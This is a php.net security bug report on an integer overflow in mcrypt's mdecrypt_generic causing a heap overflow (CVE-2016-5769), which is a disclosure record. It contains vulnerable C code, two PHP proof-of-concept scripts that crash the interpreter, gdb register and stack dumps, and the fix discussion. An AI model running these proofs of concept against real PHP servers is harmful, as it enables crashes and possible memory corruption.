php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72455 Heap Overflow due to integer overflows
Submitted: 2016-06-20 08:33 UTC Modified: 2016-06-27 06:39 UTC
From: nguyenvuhoang199321 at gmail dot com Assigned: stas (profile)
Status: Closed Package: mcrypt related
PHP Version: 5.5.36 OS: *Nix
Private report: No CVE-ID: 2016-5769
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: nguyenvuhoang199321 at gmail dot com
New email:
PHP Version: OS:

 

 [2016-06-20 08:33 UTC] nguyenvuhoang199321 at gmail dot com
Description:
------------
When i looked at PHP_FUNCTION(mcrypt_generic) i had found an integer overflow when mcrypt_generic try to calculate data_size, and then use this value pass to emalloc this result will lead to heap overflow.
```
PHP_FUNCTION(mdecrypt_generic)
{
     **** snip***
     int block_size, data_size; // signed int
     /* Check blocksize */
     if (mcrypt_enc_is_block_mode(pm->td) == 1) { /* It's a block algorithm */
		block_size = mcrypt_enc_get_block_size(pm->td);
		data_size = ((((int)data_len - 1) / block_size) + 1) * block_size;
		data_s = emalloc(data_size + 1);
		memset(data_s, 0, data_size);
		memcpy(data_s, data, data_len);

     }
```
As you can see data_size follow by formular : data_size = ((((int)data_len - 1) / block_size) + 1) * block_size; because data_size is int. If attacker control data_len for example data_len = 0xffffffff then data_size = 0x20, after that, they will emalloc(0x20) bytes and then use memcpy data to data_s with data_len is 0xffffffff in unsigned int is 4294967295. This may lead to heap overflow

Test script:
---------------
<?php
	/* Data */
	ini_set('memory_limit',-1);

	$key = str_repeat('C', 32);
	$str = str_repeat('A', 0xfffffff0);

	// $td = mcrypt_module_open('des', '', 'ecb', '');
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_256, '', 'cbc', '');
	$ks = mcrypt_enc_get_key_size($td);

	$iv = str_repeat('D', 32);

	if (mcrypt_generic_init($td, $key, $iv) != -1) {
		mcrypt_generic_init($td, $key, $iv);
		$p_t = mdecrypt_generic($td, $str);

		mcrypt_generic_deinit($td);
		mcrypt_module_close($td);
	}
?>

Expected result:
----------------
$ ./php7.0.7 test.php
[1]    12342 segmentation fault (core dumped)  ./php7.0.7 test.php

Actual result:
--------------
gdb-peda$ r test.php
Starting program: /media/Data/Build/audit/php7.0.7 test.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff427c320 --> 0x0
RBX: 0x0
RCX: 0x8000f427c310
RDX: 0xffe7c2d0
RSI: 0x7ffef3d83d38 ('A' <repeats 200 times>...)
RDI: 0x7ffff43fffc0 ('A' <repeats 64 times><error: Cannot access memory at address 0x7ffff4400000>)
RBP: 0x7fffffffaf50 --> 0x7fffffffaf80 --> 0x7fffffffafb0 --> 0x7fffffffaff0 --> 0x7fffffffb100 --> 0x7fffffffd400 --> 0x7fffffffe780 --> 0x7fffffffe8d0 --> 0x9a0b00 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffaee8 --> 0x64e590 (<zif_mdecrypt_generic+401>:	jmp    0x64e5f2 <zif_mdecrypt_generic+499>)
RIP: 0x7ffff6c2ba0e (<__memcpy_avx_unaligned+830>:	vmovntdq YMMWORD PTR [rdi+0x40],ymm2)
R8 : 0x7ffff427c320 --> 0x0
R9 : 0x0
R10: 0x20 (' ')
R11: 0x7ffff77746e0 (<mcrypt_enc_get_block_size>:	mov    rax,QWORD PTR [rdi+0xc8])
R12: 0x424690 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe9b0 --> 0x2
R14: 0x7ffff4214030 --> 0x7ffff427f5c0 ('A' <repeats 200 times>...)
R15: 0x7ffff427f5c0 ('A' <repeats 200 times>...)
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff6c2ba01 <__memcpy_avx_unaligned+817>:	sub    rsi,0xffffffffffffff80
   0x7ffff6c2ba05 <__memcpy_avx_unaligned+821>:	vmovntdq YMMWORD PTR [rdi],ymm0
   0x7ffff6c2ba09 <__memcpy_avx_unaligned+825>:	vmovntdq YMMWORD PTR [rdi+0x20],ymm1
=> 0x7ffff6c2ba0e <__memcpy_avx_unaligned+830>:	vmovntdq YMMWORD PTR [rdi+0x40],ymm2
   0x7ffff6c2ba13 <__memcpy_avx_unaligned+835>:	vmovntdq YMMWORD PTR [rdi+0x60],ymm3
   0x7ffff6c2ba18 <__memcpy_avx_unaligned+840>:	sub    rdi,0xffffffffffffff80
   0x7ffff6c2ba1c <__memcpy_avx_unaligned+844>:	add    rdx,0xffffffffffffff80
   0x7ffff6c2ba20 <__memcpy_avx_unaligned+848>:	jb     0x7ffff6c2b9e0 <__memcpy_avx_unaligned+784>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaee8 --> 0x64e590 (<zif_mdecrypt_generic+401>:	jmp    0x64e5f2 <zif_mdecrypt_generic+499>)
0008| 0x7fffffffaef0 --> 0x7ffff42141e0 --> 0x0
0016| 0x7fffffffaef8 --> 0x7ffff4214220 --> 0x0
0024| 0x7fffffffaf00 --> 0xfffffda9000000e2
0032| 0x7fffffffaf08 --> 0x2000000020 (' ')
0040| 0x7fffffffaf10 --> 0x7ffff4214280 --> 0x7ffff42010e0 --> 0x900000002
0048| 0x7fffffffaf18 --> 0x7ffef3c00018 ('A' <repeats 200 times>...)
0056| 0x7fffffffaf20 --> 0xfffffff0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__memcpy_avx_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S:272
272	../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S: No such file or directory.
gdb-peda$ bt
#0  __memcpy_avx_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S:272
#1  0x000000000064e590 in zif_mdecrypt_generic (execute_data=0x7ffff4214220, return_value=0x7ffff42141e0) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/ext/mcrypt/mcrypt.c:688
#2  0x000000000092cb3e in ZEND_DO_ICALL_SPEC_HANDLER () at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend_vm_execute.h:586
#3  0x000000000092c56a in execute_ex (ex=0x7ffff4214030) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend_vm_execute.h:414
#4  0x000000000092c67b in zend_execute (op_array=0x7ffff427e000, return_value=0x0) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend_vm_execute.h:458
#5  0x00000000008cd94a in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend.c:1427
#6  0x00000000008362ea in php_execute_script (primary_file=0x7fffffffd630) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/main/main.c:2494
#7  0x0000000000995591 in do_cli (argc=0x2, argv=0x115d440) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/sapi/cli/php_cli.c:974
#8  0x000000000099675f in main (argc=0x2, argv=0x115d440) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/sapi/cli/php_cli.c:1344
#9  0x00007ffff6afe830 in __libc_start_main (main=0x995f54 <main>, argc=0x2, argv=0x7fffffffe9b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
    stack_end=0x7fffffffe9a8) at ../csu/libc-start.c:291
#10 0x00000000004246b9 in _start ()

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-20 08:54 UTC] nguyenvuhoang199321 at gmail dot com
-Summary: Integer overflow lead to heap overflow +Summary: Heap Overflow due to integer overflows
 [2016-06-20 08:54 UTC] nguyenvuhoang199321 at gmail dot com
Another code block that lead to integer overflow when check encrypt data is not a block cipher. They just cast data_len from unsigned int to signed int, if attacker control data_len = 0xffffffff (in signed int is -1) so data_size +1 is 0 and pass to emalloc, after that they use data_len (is unsigned integer is 4294967295) to copy data to data_s, this leads to heap overflow
```
	} else { /* It's not a block algorithm */
		data_size = (int)data_len;
		data_s = emalloc(data_size + 1);
		memset(data_s, 0, data_size);
		memcpy(data_s, data, data_len);
	}
```

other poc :
```
<?php
	/* Data */
	ini_set('memory_limit',-1);

	$key = str_repeat('C', 32);
	$str = str_repeat('A', 0xffffffff);

	// $td = mcrypt_module_open('des', '', 'ecb', '');
	// $td = mcrypt_module_open(MCRYPT_RIJNDAEL_256, '', 'cbc', ''); // block cipher
	$td = mcrypt_module_open('rijndael-256', '', 'ofb', ''); // not block cipher

	$ks = mcrypt_enc_get_key_size($td);

	$iv = str_repeat('D', 32);

	if (mcrypt_generic_init($td, $key, $iv) != -1) {
		mcrypt_generic_init($td, $key, $iv);
		$p_t = mdecrypt_generic($td, $str);

		mcrypt_generic_deinit($td);
		mcrypt_module_close($td);
	}
?>
```

Crash when try to copy large size to a small memory size.
```
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xffffffffffe6f027
RDX: 0xffffffffffffffff
RSI: 0x7ffff426f027 --> 0x0
RDI: 0x7ffff4400000
RBP: 0x7fffffffaf50 --> 0x7fffffffaf80 --> 0x7fffffffafb0 --> 0x7fffffffaff0 --> 0x7fffffffb100 --> 0x7fffffffd400 --> 0x7fffffffe780 --> 0x7fffffffe8d0 --> 0x9a0b00 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffaee8 --> 0x64e5db (<zif_mdecrypt_generic+476>:	mov    rdx,QWORD PTR [rbp-0x30])
RIP: 0x7ffff6c50328 (<__memset_avx2+392>:	rep stos BYTE PTR es:[rdi],al)
R8 : 0x2b3
R9 : 0x0
R10: 0x4
R11: 0x7ffff7774c00 (<mcrypt_enc_is_block_mode>:	sub    rsp,0x10)
R12: 0x424690 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe9b0 --> 0x2
R14: 0x7ffff4214030 --> 0x7ffff427f5a0 --> 0x0
R15: 0x7ffff427f5a0 --> 0x0
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff6c5031d <__memset_avx2+381>:	nop    DWORD PTR [rax]
   0x7ffff6c50320 <__memset_avx2+384>:	sub    rcx,0xffffffffffffff80
   0x7ffff6c50324 <__memset_avx2+388>:	vmovd  eax,xmm0
=> 0x7ffff6c50328 <__memset_avx2+392>:	rep stos BYTE PTR es:[rdi],al
   0x7ffff6c5032a <__memset_avx2+394>:	mov    rax,rsi
   0x7ffff6c5032d <__memset_avx2+397>:	sub    rax,rdx
   0x7ffff6c50330 <__memset_avx2+400>:	vzeroupper
   0x7ffff6c50333 <__memset_avx2+403>:	ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaee8 --> 0x64e5db (<zif_mdecrypt_generic+476>:	mov    rdx,QWORD PTR [rbp-0x30])
0008| 0x7fffffffaef0 --> 0x7ffff42141d0 --> 0x0
0016| 0x7fffffffaef8 --> 0x7ffff4214210 --> 0x0
0024| 0x7fffffffaf00 --> 0xfffffda9000000e2
0032| 0x7fffffffaf08 --> 0xf70ec160ffffffff
0040| 0x7fffffffaf10 --> 0x7ffff4214270 --> 0x7ffff42010e0 --> 0x900000002
0048| 0x7fffffffaf18 --> 0x7ffef3c00018 ('A' <repeats 200 times>...)
0056| 0x7fffffffaf20 --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:161
161	../sysdeps/x86_64/multiarch/memset-avx2.S: No such file or directory.
gdb-peda$
```
 [2016-06-21 04:53 UTC] stas@php.net
-PHP Version: 7.0.7 +PHP Version: 5.5.36 -Assigned To: +Assigned To: stas
 [2016-06-21 04:53 UTC] stas@php.net
Fixed in security repo as 6c5211a0cef0cc2854eaa387e0eb036e012904d0 and in https://gist.github.com/18df0450985e5486b2af2903948f991b

Please verify.
 [2016-06-21 06:48 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-21 06:48 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-06-21 06:51 UTC] nguyenvuhoang199321 at gmail dot com
Hello can we assign a CVE for this ? :)
 [2016-06-21 07:03 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-21 07:26 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-21 07:27 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-22 05:58 UTC] krakjoe@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-23 12:50 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2016-5769
 [2016-06-27 06:39 UTC] nguyenvuhoang199321 at gmail dot com
Today, i have time to review your patch for this bug.
```
+		if (data_size <= 0) {
+			php_error_docref(NULL TSRMLS_CC, E_WARNING, "Integer overflow in data size");
+			RETURN_FALSE;
+		}
```
It's still crash with my poc.
Sorry with my bad (i don't review your patch) :(
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 17:01:29 2024 UTC